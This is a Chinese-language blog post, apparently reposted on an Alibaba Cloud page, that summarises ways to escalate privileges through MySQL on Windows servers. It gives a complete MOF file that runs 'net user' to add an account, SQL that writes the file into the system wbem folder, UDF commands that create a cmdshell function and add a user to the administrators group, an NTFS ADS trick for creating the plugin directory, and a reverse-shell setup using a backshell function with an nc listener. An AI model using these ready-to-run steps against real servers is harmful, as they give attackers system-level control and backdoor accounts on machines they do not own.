MYSQL提權總結

來源:互聯網
上載者:User

標籤:

最近在測試一個項目,遇到了MYSQL資料庫,想盡辦法提權,最終都沒有成功,很是鬱悶,可能是自己很久沒有研究過提權導致的吧,總結一下MYSQL提權的各種姿勢吧,權當複習了。關於mysql提權的方法也就那麼幾種,希望也能幫到各位小夥伴們。

一、利用mof提權

前段時間國外Kingcope大牛發布了mysql遠程提權0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day),劍心牛對MOF利用進行了分析,如下:

Windows 管理規範 (WMI) 提供了以下三種方法編譯到 WMI 存放庫的管理物件格式 (MOF) 檔案:

方法 1: 運行 MOF 檔案指定為命令列參數將 Mofcomp.exe 檔。

方法 2: 使用 IMofCompiler 介面和 $ CompileFile 方法。

方法 3: 拖放到 %SystemRoot%\System32\Wbem\MOF 檔案夾的 MOF 檔案。

Microsoft 建議您到存放庫編譯 MOF 檔案使用前兩種方法。也就是運行 Mofcomp.exe 檔,或使用 IMofCompiler::CompileFile 方法。

第三種方法僅為向後相容性與早期版本的 WMI 提供,並因為此功能可能不會提供在將來的版本後,不應使用。

具體到mysql提權中,我們又該怎麼利用呢?

1、找一個可寫目錄上傳mof檔案,我這裡上傳到了 C:/wmpub/nullevt.mof 代碼如下。

#pragma namespace("\\\\.\\root\\subscription")instance of __EventFilter as $EventFilter{    EventNamespace = "Root\\Cimv2";    Name  = "filtP2";    Query = "Select * From __InstanceModificationEvent "            "Where TargetInstance Isa \"Win32_LocalTime\" "            "And TargetInstance.Second = 5";    QueryLanguage = "WQL";};instance of ActiveScriptEventConsumer as $Consumer{    Name = "consPCSV2";    ScriptingEngine = "JScript";    ScriptText =    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user waitalone waitalone.cn /add\")";};instance of __FilterToConsumerBinding{    Consumer   = $Consumer;    Filter = $EventFilter;};

  

其中的第18行的命令,上傳前請自己更改。

2、執行load_file及into dumpfile把檔案匯出到正確的位置即可。

select load_file(‘C:/wmpub/nullevt.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof‘

執行成功後,即可添加一個普通使用者,然後你可以更改命令,再上傳匯出執行把使用者提升到管理員權限,然後3389串連之就ok了。

二、利用UDF提權

udf提權這是最常見的提權方式了,但是往往在執行過程中老是遇到"Can‘t open shared library"的情況,這裡我們可以利用NTFS ADS流來解決這個問題。

1、最常見的是直接使用udf.php此類的工具來執行udf提權,具體如下。

串連到mysql以後,先匯出udf.dll到c:\windows\system32目錄下。

2、建立相應的函數並執行命令,具體如下:

create function cmdshell returns string soname ‘udf.dll‘;select cmdshell(‘net user waitalone waitalone.cn /add‘);select cmdshell(‘net localgroup administrators waitalone /add‘);drop function cmdshell; 刪除函數delete from mysql.func where name=‘cmdshell‘  刪除函數

  

3、某些情況下,我們會遇到Can‘t open shared library的情況,這時就需要我們把udf.dll匯出到lib\plugin目錄下才可以,但是預設情況下plugin不存在,怎麼辦? 還好有大牛研究出了利用NTFS ADS流來建立檔案夾的方法

select @@basedir;   //尋找到mysql的目錄select ‘It is dll‘ into dumpfile ‘C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION‘;   //利用NTFS ADS建立lib目錄select ‘It is dll‘ into dumpfile ‘C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION‘;//利用NTFS ADS建立plugin目錄

  

執行成功以後再進行匯出即可。

三、反彈連接埠串連提權

假如我們掃到了一個mysql的root弱密碼,並且可以外連,但是伺服器上面的網站又無法Getshell,這時我們怎麼辦呢?

1、利用mysql用戶端工具串連mysql伺服器,然後執行下面的操作。

mysql.exe -h 172.16.10.11 -uroot -pEnter password:mysql> \. c:\mysql.txtmysql>select backshell("YourIP",2010);

2、本地監聽你反彈的連接埠

nc.exe -vv -l -p 2010

成功後,你將獲得一個system許可權的cmdshell,其實這個也是利用的UDF提權。

MYSQL提權總結

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.